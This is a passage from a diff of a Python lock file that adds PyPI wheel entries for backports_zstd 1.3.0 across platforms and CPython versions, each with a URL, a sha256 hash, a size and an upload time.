+    { url = "https://files.pythonhosted.org/packages/20/48/d9c8c8c2a5ac57fc5697f1945254af31407b0c5f80335a175a7c215b4118/backports_zstd-1.3.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ab139d1fc0e91a697e82fa834e6404098802f11b6035607174776173ded9a2cc", size = 581199, upload-time = "2025-12-29T17:25:35.566Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/ca/7fe70d2d39ed39e26a6c6f6c1dd229f1ab889500d5c90b17527702b1a21e/backports_zstd-1.3.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:6f3115d203f387f77c23b5461fb6678d282d4f276f9f39298ad242b00120afc7", size = 640846, upload-time = "2025-12-29T17:25:36.86Z" },
+    { url = "https://files.pythonhosted.org/packages/0e/d8/5b8580469e70b72402212885bf19b9d31eaf23549b602e0c294edf380e25/backports_zstd-1.3.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:116f65cce84e215dfac0414924b051faf8d29dc7188cf3944dd1e5be8dd15a32", size = 491061, upload-time = "2025-12-29T17:25:38.721Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/dd/17a752263fccd1ba24184b7e89c14cd31553d512e2e5b065f38e63a0ba86/backports_zstd-1.3.0-cp310-cp310-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:04def169e4a9ae291298124da4e097c6d6545d0e93164f934b716da04d24630a", size = 565071, upload-time = "2025-12-29T17:25:40.372Z" },
+    { url = "https://files.pythonhosted.org/packages/1a/81/df23d3fe664b2497ab2ec01dc012cb9304e7d568c67f50b1b324fb2d8cbb/backports_zstd-1.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:481b586291ef02a250f03d4c31a37c9881e5e93556568abbd20ca1ad720d443f", size = 481518, upload-time = "2025-12-29T17:25:41.925Z" },
+    { url = "https://files.pythonhosted.org/packages/ba/cd/e50dd85fde890c5d79e1ed5dc241f1c45f87b6c12571fdb60add57f2ee66/backports_zstd-1.3.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0290979eea67f7275fa42d5859cc5bea94f2c08cca6bc36396673476773d2bad", size = 509464, upload-time = "2025-12-29T17:25:43.844Z" },
+    { url = "https://files.pythonhosted.org/packages/d3/bb/e429156e4b834837fe78b4f32ed512491aea39415444420c79ccd3aa0526/backports_zstd-1.3.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:01c699d8c803dc9f9c9d6ede21b75ec99f45c3b411821011692befca538928cb", size = 585563, upload-time = "2025-12-29T17:25:45.038Z" },
+    { url = "https://files.pythonhosted.org/packages/95/c0/1a0d245325827242aefe76f4f3477ec183b996b8db5105698564f8303481/backports_zstd-1.3.0-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:2c662912cfc1a5ebd1d2162ac651549d58bd3c97a8096130ec13c703fca355f2", size = 562889, upload-time = "2025-12-29T17:25:46.576Z" },
+    { url = "https://files.pythonhosted.org/packages/93/42/126b2bc7540a15452c3ebdf190ebfea8a8644e29b22f4e10e2a6aa2389e4/backports_zstd-1.3.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:3180c8eb085396928e9946167e610aa625922b82c3e2263c5f17000556370168", size = 631423, upload-time = "2025-12-29T17:25:47.81Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/32/018e49657411582569032b7d1bb5d62e514aad8b44952de740ec6250588d/backports_zstd-1.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:5b9a8c75a294e7ffa18fc8425a763facc366435a8b442e4dffdc19fa9499a22c", size = 495122, upload-time = "2025-12-29T17:25:49.377Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/9e/cdd1d2e1d3612bb90d9cf9b23bea06f2155cdafccd8b6f28a1c4d7750004/backports_zstd-1.3.0-cp310-cp310-win32.whl", hash = "sha256:845defdb172385f17123d92a00d2e952d341e9ae310bfa2410c292bf03846034", size = 288573, upload-time = "2025-12-29T17:25:51.167Z" },
+    { url = "https://files.pythonhosted.org/packages/55/7c/2e9c80f08375bd14262cefa69297a926134f517c9955c0795eec5e1d470e/backports_zstd-1.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:43a9fea6299c801da85221e387b32d90a9ad7c62aa2a34edf525359ce5ad8f3a", size = 313506, upload-time = "2025-12-29T17:25:52.778Z" },
+    { url = "https://files.pythonhosted.org/packages/c5/5d/fa67e8174f54db44eb33498abb7f98bea4f2329e873b225391bda0113a5e/backports_zstd-1.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:df8473cb117e1316e6c6101f2724e025bd8f50af2dc009d0001c0aabfb5eb57c", size = 288688, upload-time = "2025-12-29T17:25:54.012Z" },
+    { url = "https://files.pythonhosted.org/packages/ac/28/ed31a0e35feb4538a996348362051b52912d50f00d25c2d388eccef9242c/backports_zstd-1.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:249f90b39d3741c48620021a968b35f268ca70e35f555abeea9ff95a451f35f9", size = 435660, upload-time = "2025-12-29T17:25:55.207Z" },
+    { url = "https://files.pythonhosted.org/packages/00/0d/3db362169d80442adda9dd563c4f0bb10091c8c1c9a158037f4ecd53988e/backports_zstd-1.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b0e71e83e46154a9d3ced6d4de9a2fea8207ee1e4832aeecf364dc125eda305c", size = 362056, upload-time = "2025-12-29T17:25:56.729Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/00/b67ba053a7d6f6dbe2f8a704b7d3a5e01b1d2e2e8edbc9b634f2702ef73c/backports_zstd-1.3.0-cp311-cp311-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:cbc6193acd21f96760c94dd71bf32b161223e8503f5277acb0a5ab54e5598957", size = 505957, upload-time = "2025-12-29T17:25:57.941Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/3e/2667c0ddb53ddf28667e330bf9fe92e8e17705a481c9b698e283120565f7/backports_zstd-1.3.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1df583adc0ae84a8d13d7139f42eade6d90182b1dd3e0d28f7df3c564b9fd55d", size = 475569, upload-time = "2025-12-29T17:25:59.075Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/86/4052473217bd954ccdffda5f7264a0e99e7c4ecf70c0f729845c6a45fc5a/backports_zstd-1.3.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d833fc23aa3cc2e05aeffc7cfadd87b796654ad3a7fb214555cda3f1db2d4dc2", size = 581196, upload-time = "2025-12-29T17:26:00.508Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/bd/064f6fdb61db3d2c473159ebc844243e650dc032de0f8208443a00127925/backports_zstd-1.3.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:142178fe981061f1d2a57c5348f2cd31a3b6397a35593e7a17dbda817b793a7f", size = 640888, upload-time = "2025-12-29T17:26:02.134Z" },
+    { url = "https://files.pythonhosted.org/packages/d8/09/0822403f40932a165a4f1df289d41653683019e4fd7a86b63ed20e9b6177/backports_zstd-1.3.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5eed0a09a163f3a8125a857cb031be87ed052e4a47bc75085ed7fca786e9bb5b", size = 491100, upload-time = "2025-12-29T17:26:03.418Z" },
+    { url = "https://files.pythonhosted.org/packages/a6/a3/f5ac28d74039b7e182a780809dc66b9dbfc893186f5d5444340bba135389/backports_zstd-1.3.0-cp311-cp311-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:60aa483fef5843749e993dde01229e5eedebca8c283023d27d6bf6800d1d4ce3", size = 565071, upload-time = "2025-12-29T17:26:05.022Z" },
+    { url = "https://files.pythonhosted.org/packages/e1/ac/50209aeb92257a642ee987afa1e61d5b6731ab6bf0bff70905856e5aede6/backports_zstd-1.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:ea0886c1b619773544546e243ed73f6d6c2b1ae3c00c904ccc9903a352d731e1", size = 481519, upload-time = "2025-12-29T17:26:06.255Z" },
+    { url = "https://files.pythonhosted.org/packages/08/1f/b06f64199fb4b2e9437cedbf96d0155ca08aeec35fe81d41065acd44762e/backports_zstd-1.3.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5e137657c830a5ce99be40a1d713eb1d246bae488ada28ff0666ac4387aebdd5", size = 509465, upload-time = "2025-12-29T17:26:07.602Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/37/2c365196e61c8fffbbc930ffd69f1ada7aa1c7210857b3e565031c787ac6/backports_zstd-1.3.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:94048c8089755e482e4b34608029cf1142523a625873c272be2b1c9253871a72", size = 585552, upload-time = "2025-12-29T17:26:08.911Z" },
+    { url = "https://files.pythonhosted.org/packages/93/8d/c2c4f448bb6b6c9df17410eaedce415e8db0eb25b60d09a3d22a98294d09/backports_zstd-1.3.0-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:d339c1ec40485e97e600eb9a285fb13169dbf44c5094b945788a62f38b96e533", size = 562893, upload-time = "2025-12-29T17:26:10.566Z" },
+    { url = "https://files.pythonhosted.org/packages/74/e8/2110d4d39115130f7514cbbcec673a885f4052bb68d15e41bc96a7558856/backports_zstd-1.3.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:8aeee9210c54cf8bf83f4d263a6d0d6e7a0298aeb5a14a0a95e90487c5c3157c", size = 631462, upload-time = "2025-12-29T17:26:11.99Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/a8/d64b59ae0714fdace14e43873f794eff93613e35e3e85eead33a4f44cd80/backports_zstd-1.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ba7114a3099e5ea05cbb46568bd0e08bca2ca11e12c6a7b563a24b86b2b4a67f", size = 495125, upload-time = "2025-12-29T17:26:13.218Z" },
+    { url = "https://files.pythonhosted.org/packages/ef/d8/bcff0a091fcf27172c57ae463e49d8dec6dc31e01d7e7bf1ae3aad9c3566/backports_zstd-1.3.0-cp311-cp311-win32.whl", hash = "sha256:08dfdfb85da5915383bfae680b6ac10ab5769ab22e690f9a854320720011ae8e", size = 288664, upload-time = "2025-12-29T17:26:14.791Z" },
+    { url = "https://files.pythonhosted.org/packages/28/1a/379061e2abf8c3150ad51c1baab9ac723e01cf7538860a6a74c48f8b73ee/backports_zstd-1.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:d8aac2e7cdcc8f310c16f98a0062b48d0a081dbb82862794f4f4f5bdafde30a4", size = 313633, upload-time = "2025-12-29T17:26:16.31Z" },
+    { url = "https://files.pythonhosted.org/packages/35/e7/eca40858883029fc716660106069b23253e2ec5fd34e86b4101c8cfe864b/backports_zstd-1.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:440ef1be06e82dc0d69dbb57177f2ce98bbd2151013ee7e551e2f2b54caa6120", size = 288814, upload-time = "2025-12-29T17:26:17.571Z" },
+    { url = "https://files.pythonhosted.org/packages/72/d4/356da49d3053f4bc50e71a8535631b57bc9ca4e8c6d2442e073e0ab41c44/backports_zstd-1.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f4a292e357f3046d18766ce06d990ccbab97411708d3acb934e63529c2ea7786", size = 435972, upload-time = "2025-12-29T17:26:18.752Z" },
+    { url = "https://files.pythonhosted.org/packages/30/8f/dbe389e60c7e47af488520f31a4aa14028d66da5bf3c60d3044b571eb906/backports_zstd-1.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fb4c386f38323698991b38edcc9c091d46d4713f5df02a3b5c80a28b40e289ea", size = 362124, upload-time = "2025-12-29T17:26:19.995Z" },
+    { url = "https://files.pythonhosted.org/packages/55/4b/173beafc99e99e7276ce008ef060b704471e75124c826bc5e2092815da37/backports_zstd-1.3.0-cp312-cp312-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f52523d2bdada29e653261abdc9cfcecd9e5500d305708b7e37caddb24909d4e", size = 506378, upload-time = "2025-12-29T17:26:21.855Z" },
+    { url = "https://files.pythonhosted.org/packages/df/c8/3f12a411d9a99d262cdb37b521025eecc2aa7e4a93277be3f4f4889adb74/backports_zstd-1.3.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3321d00beaacbd647252a7f581c1e1cdbdbda2407f2addce4bfb10e8e404b7c7", size = 476201, upload-time = "2025-12-29T17:26:23.047Z" },
+    { url = "https://files.pythonhosted.org/packages/43/dc/73c090e4a2d5671422512e1b6d276ca6ea0cc0c45ec4634789106adc0d66/backports_zstd-1.3.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:88f94d238ef36c639c0ae17cf41054ce103da9c4d399c6a778ce82690d9f4919", size = 581659, upload-time = "2025-12-29T17:26:24.189Z" },
+    { url = "https://files.pythonhosted.org/packages/08/4f/11bfcef534aa2bf3f476f52130217b45337f334d8a287edb2e06744a6515/backports_zstd-1.3.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:97d8c78fe20c7442c810adccfd5e3ea6a4e6f4f1fa4c73da2bc083260ebead17", size = 640388, upload-time = "2025-12-29T17:26:25.47Z" },
+    { url = "https://files.pythonhosted.org/packages/71/17/8faea426d4f49b63238bdfd9f211a9f01c862efe0d756d3abeb84265a4e2/backports_zstd-1.3.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:eefda80c3dbfbd924f1c317e7b0543d39304ee645583cb58bae29e19f42948ed", size = 494173, upload-time = "2025-12-29T17:26:26.736Z" },
+    { url = "https://files.pythonhosted.org/packages/ba/9d/901f19ac90f3cd999bdcfb6edb4d7b4dc383dfba537f06f533fc9ac4777b/backports_zstd-1.3.0-cp312-cp312-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:2ab5d3b5a54a674f4f6367bb9e0914063f22cd102323876135e9cc7a8f14f17e", size = 568628, upload-time = "2025-12-29T17:26:28.12Z" },
+    { url = "https://files.pythonhosted.org/packages/60/39/4d29788590c2465a570c2fae49dbff05741d1f0c8e4a0fb2c1c310f31804/backports_zstd-1.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:7558fb0e8c8197c59a5f80c56bf8f56c3690c45fd62f14e9e2081661556e3e64", size = 482233, upload-time = "2025-12-29T17:26:29.399Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/4b/24c7c9e8ef384b19d515a7b1644a500ceb3da3baeff6d579687da1a0f62b/backports_zstd-1.3.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:27744870e38f017159b9c0241ea51562f94c7fefcfa4c5190fb3ec4a65a7fc63", size = 509806, upload-time = "2025-12-29T17:26:30.605Z" },
+    { url = "https://files.pythonhosted.org/packages/3f/7e/7ba1aeecf0b5859f1855c0e661b4559566b64000f0627698ebd9e83f2138/backports_zstd-1.3.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:b099750755bb74c280827c7d68de621da0f245189082ab48ff91bda0ec2db9df", size = 586037, upload-time = "2025-12-29T17:26:32.201Z" },
+    { url = "https://files.pythonhosted.org/packages/4a/1a/18f0402b36b9cfb0aea010b5df900cfd42c214f37493561dba3abac90c4e/backports_zstd-1.3.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:5434e86f2836d453ae3e19a2711449683b7e21e107686838d12a255ad256ca99", size = 566220, upload-time = "2025-12-29T17:26:33.5Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/d9/44c098ab31b948bbfd909ec4ae08e1e44c5025a2d846f62991a62ab3ebea/backports_zstd-1.3.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:407e451f64e2f357c9218f5be4e372bb6102d7ae88582d415262a9d0a4f9b625", size = 630847, upload-time = "2025-12-29T17:26:35.273Z" },
+    { url = "https://files.pythonhosted.org/packages/30/33/e74cb2cfb162d2e9e00dad8bcdf53118ca7786cfd467925d6864732f79cc/backports_zstd-1.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:58a071f3c198c781b2df801070290b7174e3ff61875454e9df93ab7ea9ea832b", size = 498665, upload-time = "2025-12-29T17:26:37.123Z" },
+    { url = "https://files.pythonhosted.org/packages/a2/a9/67a24007c333ed22736d5cd79f1aa1d7209f09be772ff82a8fd724c1978e/backports_zstd-1.3.0-cp312-cp312-win32.whl", hash = "sha256:21a9a542ccc7958ddb51ae6e46d8ed25d585b54d0d52aaa1c8da431ea158046a", size = 288809, upload-time = "2025-12-29T17:26:38.373Z" },
+    { url = "https://files.pythonhosted.org/packages/42/24/34b816118ea913debb2ea23e71ffd0fb2e2ac738064c4ac32e3fb62c18bb/backports_zstd-1.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:89ea8281821123b071a06b30b80da8e4d8a2b40a4f57315a19850337a21297ac", size = 313815, upload-time = "2025-12-29T17:26:39.665Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/2f/babd02c9fc4ca35376ada7c291193a208165c7be2455f0f98bc1e1243f31/backports_zstd-1.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:f6843ecb181480e423b02f60fe29e393cbc31a95fb532acdf0d3a2c87bd50ce3", size = 288927, upload-time = "2025-12-29T17:26:40.923Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/7d/53e8da5950cdfc5e8fe23efd5165ce2f4fed5222f9a3292e0cdb03dd8c0d/backports_zstd-1.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e86e03e3661900955f01afed6c59cae9baa63574e3b66896d99b7de97eaffce9", size = 435463, upload-time = "2025-12-29T17:26:42.152Z" },
+    { url = "https://files.pythonhosted.org/packages/da/78/f98e53870f7404071a41e3d04f2ff514302eeeb3279d931d02b220f437aa/backports_zstd-1.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:41974dcacc9824c1effe1c8d2f9d762bcf47d265ca4581a3c63321c7b06c61f0", size = 361740, upload-time = "2025-12-29T17:26:43.377Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/ed/2c64706205a944c9c346d95c17f632d4e3468db3ce60efb6f5caa7c0dcae/backports_zstd-1.3.0-cp313-cp313-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:3090a97738d6ce9545d3ca5446df43370928092a962cbc0153e5445a947e98ed", size = 505651, upload-time = "2025-12-29T17:26:44.495Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/7b/22998f691dc6e0c7e6fa81d611eb4b1f6a72fb27327f322366d4a7ca8fb3/backports_zstd-1.3.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ddc874638abf03ea1ff3b0525b4a26a8d0adf7cb46a448c3449f08e4abc276b3", size = 475859, upload-time = "2025-12-29T17:26:45.722Z" },
+    { url = "https://files.pythonhosted.org/packages/0b/78/0cde898339a339530e5f932634872d2d64549969535447a48d3b98959e11/backports_zstd-1.3.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:db609e57b8ed88b3472930c87e93c08a4bbd5ffeb94608cd9c7c6f0ac0e166c6", size = 581339, upload-time = "2025-12-29T17:26:46.93Z" },
+    { url = "https://files.pythonhosted.org/packages/e2/1d/e0973e0eebe678c12c146473af2c54cda8a3e63b179785ca1a20727ad69c/backports_zstd-1.3.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5f13033a3dd95f323c067199f2e61b4589a7880188ef4ef356c7ffbdb78a9f11", size = 642182, upload-time = "2025-12-29T17:26:48.545Z" },
+    { url = "https://files.pythonhosted.org/packages/82/a2/ac67e79e137eb98aead66c7162bafe3cffcb82ef9cdeb6367ec18d88fbce/backports_zstd-1.3.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9c4c7bcda5619a754726e7f5b391827f5efbe4bed8e62e9ec7490d42bff18aa6", size = 490807, upload-time = "2025-12-29T17:26:49.789Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/e9/3514b1d065801ae7dce05246e9389003ed8fb1d7c3d71f85aa07a80f41e6/backports_zstd-1.3.0-cp313-cp313-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:884a94c40f27affe986f394f219a4fd3cbbd08e1cff2e028d29d467574cd266e", size = 566103, upload-time = "2025-12-29T17:26:51.062Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/03/10ddb54cbf032e5fe390c0776d3392611b1fc772d6c3cb5a9bcdff4f915f/backports_zstd-1.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:497f5765126f11a5b3fd8fedfdae0166d1dd867e7179b8148370a3313d047197", size = 481614, upload-time = "2025-12-29T17:26:52.255Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/13/21efa7f94c41447f43aee1563b05fc540a235e61bce4597754f6c11c2e97/backports_zstd-1.3.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:a6ff6769948bb29bba07e1c2e8582d5a9765192a366108e42d6581a458475881", size = 509207, upload-time = "2025-12-29T17:26:53.496Z" },
+    { url = "https://files.pythonhosted.org/packages/de/e7/12da9256d9e49e71030f0ff75e9f7c258e76091a4eaf5b5f414409be6a57/backports_zstd-1.3.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:1623e5bff1acd9c8ef90d24fc548110f20df2d14432bfe5de59e76fc036824ef", size = 585765, upload-time = "2025-12-29T17:26:54.99Z" },
+    { url = "https://files.pythonhosted.org/packages/24/bf/59ca9cb4e7be1e59331bb792e8ef1331828efe596b1a2f8cbbc4e3f70d75/backports_zstd-1.3.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:622c28306dcc429c8f2057fc4421d5722b1f22968d299025b35d71b50cfd4e03", size = 563852, upload-time = "2025-12-29T17:26:56.371Z" },
+    { url = "https://files.pythonhosted.org/packages/7c/ee/5a3eaed9a73bdf2c35dc0c7adc0616a99588e0de28f5ab52f3e0caaaa96f/backports_zstd-1.3.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:09a2785e410ed2e812cb39b684ef5eb55083a5897bfd0e6f5de3bbd2c6345f70", size = 632549, upload-time = "2025-12-29T17:26:57.598Z" },
+    { url = "https://files.pythonhosted.org/packages/75/b9/c823633afc48a1ac56d6ad34289c8f51b0234685142531bfa8197ca91777/backports_zstd-1.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ade1f4127fdbe36a02f8067d75aa79c1ea1c8a306bf63c7b818bb7b530e1beaa", size = 495104, upload-time = "2025-12-29T17:26:58.826Z" },
+    { url = "https://files.pythonhosted.org/packages/a3/8f/6f7030f18fa7307f87b0f57108a50a3a540b6350e2486d1739c0567629a3/backports_zstd-1.3.0-cp313-cp313-win32.whl", hash = "sha256:668e6fb1805b825cb7504c71436f7b28d4d792bb2663ee901ec9a2bb15804437", size = 288447, upload-time = "2025-12-29T17:27:00.036Z" },
+    { url = "https://files.pythonhosted.org/packages/a2/82/b1df1bbbe4e6d3ffd364d0bcffdeb6c4361115c1eccd91238dbdd0c07fec/backports_zstd-1.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:385bdadf0ea8fe6ba780a95e4c7d7f018db7bafdd630932f0f9f0fad05d608ff", size = 313664, upload-time = "2025-12-29T17:27:01.267Z" },
+    { url = "https://files.pythonhosted.org/packages/45/0f/60918fe4d3f2881de8f4088d73be4837df9e4c6567594109d355a2d548b6/backports_zstd-1.3.0-cp313-cp313-win_arm64.whl", hash = "sha256:4321a8a367537224b3559fe7aeb8012b98aea2a60a737e59e51d86e2e856fe0a", size = 288678, upload-time = "2025-12-29T17:27:02.506Z" },
+    { url = "https://files.pythonhosted.org/packages/a7/b9/35f423c0bcd85020d5e7be6ab8d7517843e3e4441071beb5c3bd8c5216cb/backports_zstd-1.3.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:10057d66fa4f0a7d3f6419ffb84b4fe61088da572e3ac4446134a1c8089e4166", size = 436155, upload-time = "2025-12-29T17:27:03.859Z" },
+    { url = "https://files.pythonhosted.org/packages/f6/14/e504daea24e8916f14ecbc223c354b558d8410cfc846606668ab91d96b38/backports_zstd-1.3.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:4abf29d706ba05f658ca0247eb55675bcc00e10f12bca15736e45b05f1f2d2dc", size = 362436, upload-time = "2025-12-29T17:27:05.076Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/f7/06e178dbab7edb88c2872aebd68b54137e07a169eba1aeedf614014f7036/backports_zstd-1.3.0-cp313-cp313t-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:127b0d73c745b0684da3d95c31c0939570810dad8967dfe8231eea8f0e047b2f", size = 507600, upload-time = "2025-12-29T17:27:06.254Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/f1/2ce499b81c4389d6fa1eeea7e76f6e0bad48effdbb239da7cbcdaaf24b76/backports_zstd-1.3.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0205ef809fb38bb5ca7f59fa03993596f918768b9378fb7fbd8a68889a6ce028", size = 475496, upload-time = "2025-12-29T17:27:07.939Z" },
+    { url = "https://files.pythonhosted.org/packages/18/1e/c82a586f2866aabf3a601a521af3c58756d83d98b724fda200016ac5e7e2/backports_zstd-1.3.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1c389b667b0b07915781aa28beabf2481f11a6062a1a081873c4c443b98601a7", size = 580919, upload-time = "2025-12-29T17:27:09.1Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/a3/eb5d9b7c4cb69d1b8ccd011abe244ba6815693b70bed07ed4b77ddda4535/backports_zstd-1.3.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8e7ac5ef693d49d6fb35cd7bbb98c4762cfea94a8bd2bf2ab112027004f70b11", size = 639913, upload-time = "2025-12-29T17:27:10.433Z" },
+    { url = "https://files.pythonhosted.org/packages/11/2c/7296b99df79d9f31174a99c81c1964a32de8996ce2b3068f5bc66b413615/backports_zstd-1.3.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5d5543945aae2a76a850b23f283249424f535de6a622d6002957b7d971e6a36d", size = 494800, upload-time = "2025-12-29T17:27:11.59Z" },
+    { url = "https://files.pythonhosted.org/packages/f9/fc/b8ae6e104ba72d20cd5f9dfd9baee36675e89c81d432434927967114f30f/backports_zstd-1.3.0-cp313-cp313t-manylinux_2_34_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e38be15ebce82737deda2c9410c1f942f1df9da74121049243a009810432db75", size = 570396, upload-time = "2025-12-29T17:27:13.063Z" },
+    { url = "https://files.pythonhosted.org/packages/30/56/60a7a9de7a5bc951ea1106358b413c95183c93480394f3abc541313c8679/backports_zstd-1.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:e3e3f58c76f4730607a4e0130d629173aa114ae72a5c8d3d5ad94e1bf51f18d8", size = 481980, upload-time = "2025-12-29T17:27:14.317Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/bb/93fc1e8e81b8ecba58b0e53a14f7b44375cf837db6354410998f0c4cb6ff/backports_zstd-1.3.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:b808bf889722d889b792f7894e19c1f904bb0e9092d8c0eb0787b939b08bad9a", size = 511358, upload-time = "2025-12-29T17:27:15.669Z" },
+    { url = "https://files.pythonhosted.org/packages/ae/0f/b165c2a6080d22306975cd86ce97270208493f31a298867e343110570370/backports_zstd-1.3.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f7be27d56f2f715bcd252d0c65c232146d8e1e039c7e2835b8a3ad3dc88bc508", size = 585492, upload-time = "2025-12-29T17:27:16.986Z" },
+    { url = "https://files.pythonhosted.org/packages/26/76/85b4bde76e982b24a7eb57a2fb9868807887bef4d2114a3654a6530a67ef/backports_zstd-1.3.0-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:cbe341c7fcc723893663a37175ba859328b907a4e6d2d40a4c26629cc55efb67", size = 568309, upload-time = "2025-12-29T17:27:18.28Z" },
+    { url = "https://files.pythonhosted.org/packages/83/64/9490667827a320766fb883f358a7c19171fdc04f19ade156a8c341c36967/backports_zstd-1.3.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:b4116a9e12dfcd834dd9132cf6a94657bf0d328cba5b295f26de26ea0ae1adc8", size = 630518, upload-time = "2025-12-29T17:27:19.525Z" },
